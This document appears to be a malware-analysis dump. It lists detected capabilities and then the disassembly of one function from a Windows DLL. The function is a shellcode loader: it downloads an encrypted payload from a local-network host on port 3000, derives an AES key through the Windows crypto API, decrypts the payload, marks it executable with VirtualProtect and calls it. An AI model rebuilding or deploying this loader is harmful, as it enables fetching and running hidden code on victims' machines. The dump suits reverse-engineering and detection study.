Function at 0x1800013c0
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Download url
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xe0
mov rax, qword [0x180005040]
xor rax, rsp
mov qword [rsp + 0xd0], rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, str.http:__192.168.1.8:3000_temp.rs
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
xor r8d, r8d
lea rdx, [rsp + 0x70]
call qword [rax + 0x60]
mov edi, dword [rsp + 0x80]
mov ecx, edi
call fcn.180001884
mov rbx, rax
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
lea r9, [rsp + 0x60]
mov r8d, edi
mov rdx, rbx
call qword [rax + 0x18]
movdqa xmm0, xmmword [0x180003410]
movdqu xmmword [rsp + 0xc0], xmm0
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x180001497
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.180001010
jmp 0x1800015a8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1800014d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.180001010
jmp 0x1800015a8
xor r9d, r9d
mov r8d, 0x10
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x18000150d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.180001010
jmp 0x1800015a8
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rsp + 0x50]
mov edx, 0x6610
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x180001549
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.180001010
jmp 0x1800015a8
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x180001585
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.180001010
jmp 0x1800015a8
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [rsp + 0x38], esi
lea r9, [rsp + 0x38]
mov edx, 8
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.180001070
mov edi, eax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
add rdi, rbx
mov qword [0x180005770], rdi
lea r9, [rsp + 0x38]
mov edx, 8
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
call qword [0x180005770]
nop
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.180001820
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret